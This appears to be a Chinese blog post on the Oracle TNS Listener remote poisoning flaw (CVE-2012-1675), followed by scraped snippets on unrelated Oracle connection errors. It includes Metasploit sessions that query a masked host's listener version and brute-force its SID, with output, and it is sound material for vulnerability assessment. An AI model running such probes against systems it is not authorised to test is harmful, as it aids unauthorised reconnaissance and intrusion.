Oracle TNS Listener Remote Poisoning

Oracle TNS Listener Remote Poisoning

远程数据投毒漏洞(CVE-2012-1675

1、漏洞简介:

允许攻击者在不提供用户名/密码的情况下,向远程“TNS Listener”组件处理的数据投毒的漏洞。

COST 是class of secure transports 的缩写。是为了控制实例注册提供的一种安全控制机制。其作用是对于一个确定的listener,限制哪些实例通过哪些协议可以进行注册。这将避免有其他远程实例进行恶意注册,并由此产生信息泄露等风险。
它通过在 listner.ora中设置参数SECURE_REGISTER_listener_name的值,指定为一个transport list(限定的注册协议列表,如IPC、TCP、TCPS)来实现这一功能。 该功能从 10.2.0.3 版本开始支持(虽然10g R2的在线文档中并未明确说明),一直到11.2.0.4版本及之后依然可用。但是,在11.2.0.4后,oracle建议使用默认的VNCR配置。

2、漏洞危害:

攻击者可以在不需要用户名密码的情况下利用网络中传送的数据消息(包括加密或者非加密的数据),如果结合(CVE-2012-3137漏洞进行密码破解)从而进一步影响甚至控制局域网内的任何一台数据库。

3、漏洞验证:

msf:

use auxiliary/admin/oracle/tnscmd 

use auxiliary/admin/oracle/sid_brute

tnscmd——该漏洞可以远程获取到oracle的内存信息,若是能获取到内存中的数据即为存在漏洞。
sid_brute——爆破oracle的SID

msf > use auxiliary/admin/oracle/tnscmd
msf auxiliary(tnscmd) > info 

       Name: Oracle TNS Listener Command Issuer
     Module: auxiliary/admin/oracle/tnscmd
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-02-01

Provided by:
  MC <[email protected]>

Basic options:
  Name   Current Setting                   Required  Description
  ----   ---------------                   --------  -----------
  CMD    (CONNECT_DATA=(COMMAND=VERSION))  no        Something like ping, version, status, etc..
  RHOST                                    yes       The target address
  RPORT  1521                              yes       The target port (TCP)

Description:
  This module allows for the sending of arbitrary TNS commands in
  order to gather information. Inspired from tnscmd.pl from
  www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd

msf auxiliary(tnscmd) > set RHOST www.xxxx.cc
RHOST => www.xxxx.cc
msf auxiliary(tnscmd) > show options  

Module options (auxiliary/admin/oracle/tnscmd):

   Name   Current Setting                   Required  Description
   ----   ---------------                   --------  -----------
   CMD    (CONNECT_DATA=(COMMAND=VERSION))  no        Something like ping, version, status, etc..
   RHOST  www.xxxx.cc                       yes       The target address
   RPORT  1521                              yes       The target port (TCP)

msf auxiliary(tnscmd) > run 

[*] www.xxxx.cc:1521 - Sending ‘(CONNECT_DATA=(COMMAND=VERSION))‘ to www.xxxx.cc:1521
[*] www.xxxx.cc:1521 - writing 90 bytes.
[*] www.xxxx.cc:1521 - reading
[*] www.xxxx.cc:1521 - .M.......6.........-. ..........(DESCRIPTION=(TMP=)(VSNNUM=169869568)(ERR=0)).\........TNSLSNR for Linux: Version 10.2.0.1.0 - Production..TNS for Linux: Version 10.2.0.1.0 - Production..Unix Domain Socket IPC NT Protocol Adaptor for Linux: Version 10.2.0.1.0 - Production..Oracle Bequeath NT Protocol Adapter for Linux: Version 10.2.0.1.0 - Production..TCP/IP NT Protocol Adapter for Linux: Version 10.2.0.1.0 - Production,,[email protected]
[*] Auxiliary module execution completed

msf auxiliary(tnscmd) > use auxiliary/admin/oracle/sid_brute
msf auxiliary(sid_brute) > show options

Module options (auxiliary/admin/oracle/sid_brute):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 1521 yes The target port (TCP)
SIDFILE /usr/share/metasploit-framework/data/wordlists/sid.txt no The file that contains a list of sids.
SLEEP 1 no Sleep() amount between each request.

msf auxiliary(sid_brute) > set RHOST www.xxxx.cc
RHOST => www.xxxx.cc
msf auxiliary(sid_brute) > show options

Module options (auxiliary/admin/oracle/sid_brute):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST www.xxxx.cc yes The target address
RPORT 1521 yes The target port (TCP)
SIDFILE /usr/share/metasploit-framework/data/wordlists/sid.txt no The file that contains a list of sids.
SLEEP 1 no Sleep() amount between each request.

msf auxiliary(sid_brute) > run

[*] www.xxxx.cc:1521 - Starting brute force on www.xxxx.cc, using sids from /usr/share/metasploit-framework/data/wordlists/sid.txt...
[+] www.xxxx.cc:1521 - www.xxxx.cc:1521 Found SID ‘ORCL‘
[*] www.xxxx.cc:1521 - Done with brute force...
[*] Auxiliary module execution completed
msf auxiliary(sid_brute) >

 使用Nessus扫描

4、漏洞修复

更新升级最新的oracle。

参考:

https://www.cnblogs.com/chendeming/p/9087493.html

https://blog.csdn.net/archersaber39/article/details/78932530

http://www.freebuf.com/articles/database/54289.html

  

原文地址:https://www.cnblogs.com/zhuxr/p/9618512.html

时间: 2024-08-03 22:37:20

Oracle TNS Listener Remote Poisoning的相关文章

解决Oracle ORA-12505, TNS:listener does not currently know of SID given in connect(转)

http://anthon-lx.iteye.com/blog/811460 完整的错误信息如下: java.sql.SQLException: Listener refused the connection with the following error: ORA-12505, TNS:listener does not currently know of SID given in connect descriptor The Connection descriptor used by th

解决Oracle ORA-12505, TNS:listener does not currently know of SID given in connect

完整的错误信息如下: java.sql.SQLException: Listener refused the connection with the following error: ORA-12505, TNS:listener does not currently know of SID given in connect descriptor The Connection descriptor used by the client was: 192.168.149.128:1521:orcl

连接oracle数据库出现:ORA-12505,TNS:listener does not currently know of SID given in connect descriptor

Java使用 jdbc:oracle:thin:@11.1.0.14:1521:orcl 连接oracle数据库出现: ORA-12505,TNS:listener does not currently know of SID given in connect descriptor 错误. 表明服务器上sid为orcl的服务并不存在,可以换个方式直接连接服务:把最后一个冒号换为斜杠.顺利连上数据库 jdbc:oracle:thin:@11.1.0.14:1521/orcl

oracle 报错ORA-12514: TNS:listener does not currently know of service requested in connec

在使用navicat上连接oracle正确用户名和密码,oracle常用服务也启动的情况下依然无法建立连接.但是sqlPus上输入用户名和密码可以连接通过,百思不得其解(菜鸟本质 好奇). 这种情况下查看了navicat的历史日志:ORA-12514: TNS:listener does not currently know of service requested in connect. 通过网上搜索查到说  navicat工具是32位,oracle64位不匹配,心想很有可能是这原因.因此通过

Oracle的listener.ora、tnsnames.ora的配置

使用DBCA建库,Global Database Name为:prod.origtec.com      SID:prod An Oracle database is uniquely identified by a Global Database Name,typically of the form "name.domain" Global Database Name: A database is referenced by at least one Oracle instance

plsql登录提示ORA-12514:TNS:listener does not currently know of service…………

问题:在自己电脑上安装好plsql并且第一次运行可以,关机重启后再登录PLSQL报错了…… 解决方法:1.修改oracle里面listener.ora文件的内容 文件路径为: 改之前的内容: 改后的内容为: SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (GLOBAL_DBNAME = ORCL) (ORACLE_HOME = D:\oracle\product\11.2.0\dbhome_1) (SID_NAME = ORCL) ) (SID_DESC

TNS-12502: TNS:listener received no CONNECT_DATA from client

检查我们的一台ORACLE数据库的监听日志发现有不少TNS-12502错误信息.如下所示 TNS-12502: TNS:listener received no CONNECT_DATA from client   09-DEC-2014 15:47:06 * (CONNECT_DATA=(SERVICE_NAME=epps)(CID=(PROGRAM=D:\Tasks\FGIS2MES\CEG\gmt_auto.exe)(HOST=CEGWEB1)(USER=cegadmin))) * (AD

Oracle tns 协议

下面是翻译国外的一篇博客,原文连接如下: https://thesprawl.org/research/oracle-tns-protocol/ 简介 TNS(Transparent Network Substrate) 协议用于客户端连接Oracle数据库,它可以使用其他一些协议进行通信,如:TCP/IP, IPX/SPX, IPC, Named Pipes等. 结构 TNS 包由一个header和payload 组成 HEADER 0 8 16 31 +--------------+----

ORA-12518: TNS:listener could not hand off client connection

一.ORA-12518: TNS:listener could not hand off client connection 在团队成员增多时,常常出现"无法分发client连接"等问题.在网上搜索一番后,终于攻克了该问题,现将解决方式总结例如以下,以供參考和以后备用. 更改SPFILEORCL.ORA文件里的process F:\oracle\product\10.2.0\db_1\database\SPFILEORCL.ORA 原因:团队成员增多,原有数据库设置不够用,导致连接pl